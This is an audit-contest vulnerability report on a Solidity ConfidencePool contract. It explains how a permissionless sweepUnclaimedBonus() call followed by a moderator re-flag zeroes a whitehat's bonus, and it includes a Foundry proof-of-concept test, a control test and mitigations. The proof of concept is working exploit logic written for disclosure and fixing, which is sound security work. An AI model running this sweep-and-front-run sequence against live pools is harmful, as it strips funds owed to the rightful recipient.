BattleChain Confidence Pools
Cyfrin
FoundrySolidityLayer 2
7.25 ETH
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: low

sweepUnclaimedBonus() does not latch finality, so a post-sweep moderator correction to good-faith CORRUPTED re-snapshots a depleted totalBonus and shorts the named whitehat attacker the entire bonus

Author Revealed upon completion

Root + Impact

Root cause. sweepUnclaimedBonus() is the only value-moving function in ConfidencePool that does not set the claimsStarted finality latch, yet it irreversibly transfers the bonus to recoveryAddress and decrements the live totalBonus. The moderator's pre-claim re-flag window therefore stays open after value has already left the pool, and flagOutcome re-snapshots snapshotTotalBonus = totalBonus from the now-depleted value.

Impact. When riskWindowStart == 0, a permissionless sweepUnclaimedBonus() during a SURVIVED phase, followed by a legitimate moderator correction to good-faith CORRUPTED, re-snapshots snapshotTotalBonus = 0. The named whitehat attacker's bountyEntitlement then excludes the entire bonus: they receive only the staked principal, and the bonus is stranded at recoveryAddress. This directly contradicts docs/DESIGN.md §12 — "For good-faith CORRUPTED, bountyEntitlement … [is] snapshotTotalStaked + snapshotTotalBonus — the entire pool is the named attacker's bounty."

Description

sweepUnclaimedBonus() depletes totalBonus without latching finality:

// src/ConfidencePool.sol : sweepUnclaimedBonus()
if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus; // irreversible depletion
}
// Intentionally does NOT set claimsStarted.
stakeToken.safeTransfer(recoveryAddress, amount);

Because claimsStarted stays false, the moderator can still re-flag, and flagOutcome re-snapshots from the depleted totalBonus:

// src/ConfidencePool.sol : flagOutcome()
if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();
...
snapshotTotalBonus = totalBonus; // reads 0 after the sweep
...
bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0;

Every other value-moving path (claimSurvived, claimExpired, claimCorrupted, claimAttackerBounty, sweepUnclaimedCorrupted) sets claimsStarted = true, which blocks re-flag. sweepUnclaimedBonus is the sole exception, and it is the exception that moves value while leaving the outcome re-flaggable.

This is distinct from the documented "no-risk-window CORRUPTED race" (DESIGN §5), which concerns claimExpired, not sweepUnclaimedBonus; that section does not address this path.

Risk

Likelihood: Low

  • riskWindowStart == 0 at resolution — no active-risk state was ever observed (nobody poked during UNDER_ATTACK/PROMOTION_REQUESTED, or the registry jumped straight to CORRUPTED). Common for pools with no active pokers.

  • The moderator first flags SURVIVED (breach read as out-of-scope — an allowed judgement, DESIGN §8), then corrects to good-faith CORRUPTED. The pre-claim re-flag window (DESIGN §4) exists precisely for such corrections.

  • Any address calls the permissionless sweepUnclaimedBonus() during the SURVIVED phase (legitimate under SURVIVED + riskWindowStart == 0, so it can happen innocently or be front-run to strip the bounty).

Impact: High

  • Total loss of the bonus — which can be the majority of the pool (protocol-readme: bonus liquidity is "economically required for rational staker participation") — to the intended whitehat recipient; the bonus is stranded at recoveryAddress.

Proof of Concept

Add test/poc/SweepReflagShort.poc.t.sol and run forge test --match-path 'test/poc/SweepReflagShort.poc.t.sol' -vv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
​
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
​
contract SweepReflagShortPoC is BaseConfidencePoolTest {
function test_sweep_then_reflag_shorts_attacker_bounty() external {
// 1) stakers deposit pre-risk (registry NEW_DEPLOYMENT) so riskWindowStart never seals.
_stake(alice, 100 * ONE);
_stake(bob, 50 * ONE);
uint256 stakes = 150 * ONE;
​
// 2) sponsor funds a bonus
uint256 bonus = 40 * ONE;
_contributeBonus(makeAddr("sponsor"), bonus);
​
// 3) registry jumps straight to CORRUPTED without any active-risk observation.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
pool.pokeRiskWindow(); // seals riskWindowEnd (terminal) but NOT riskWindowStart
assertEq(pool.riskWindowStart(), 0, "precondition: riskWindowStart must be 0");
​
// 4) moderator first flags SURVIVED (reads the CORRUPTED breach as out-of-scope).
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
​
// 5) a permissionless griefer sweeps the (unclaimable) bonus to recovery.
vm.prank(makeAddr("griefer"));
pool.sweepUnclaimedBonus();
assertEq(pool.totalBonus(), 0, "totalBonus zeroed by sweep");
assertEq(pool.claimsStarted(), false, "sweep must not latch finality");
​
// 6) moderator legitimately corrects SURVIVED -> good-faith CORRUPTED, naming the whitehat.
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
​
// 7) attacker claims their full entitlement.
uint256 atkBefore = token.balanceOf(attacker);
vm.prank(attacker);
pool.claimAttackerBounty();
uint256 received = token.balanceOf(attacker) - atkBefore;
​
// shorted the full bonus: got only stakes.
assertEq(received, stakes, "attacker got only stakes (shorted the bonus)");
assertLt(received, stakes + bonus, "attacker shorted vs intended full pool");
}
​
function test_control_no_sweep_attacker_gets_full_pool() external {
_stake(alice, 100 * ONE);
_stake(bob, 50 * ONE);
uint256 stakes = 150 * ONE;
uint256 bonus = 40 * ONE;
_contributeBonus(makeAddr("sponsor"), bonus);
​
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
pool.pokeRiskWindow();
​
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// (no sweep here)
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
​
uint256 atkBefore = token.balanceOf(attacker);
vm.prank(attacker);
pool.claimAttackerBounty();
assertEq(token.balanceOf(attacker) - atkBefore, stakes + bonus, "control: attacker gets full pool");
}
}

Result (execution-grounded):

[PASS] test_sweep_then_reflag_shorts_attacker_bounty
attacker actually received : 150e18 <-- stakes only, shorted the full 40e18 bonus
[PASS] test_control_no_sweep_attacker_gets_full_pool
attacker receives : 190e18 <-- full pool when no sweep intervenes

The only difference between the two runs is the intervening sweepUnclaimedBonus(), which strips the entire bonus from the whitehat's realizable bounty.

Recommended Mitigation

Any one of:

  1. In the branch that actually removes bonus (riskWindowStart == 0), latch finality:

if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus;
+ // value has irreversibly left the pool; freeze the outcome against a later re-flag
+ if (!claimsStarted) claimsStarted = true;
}

  1. Gate sweepUnclaimedBonus behind finality (require claimsStarted, or a post-resolution delay) so no value leaves while the outcome is still re-flaggable.

  2. Base good-faith CORRUPTED bountyEntitlement on the pool's actual token balance at flag time rather than a totalBonus an intervening sweep can reduce.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!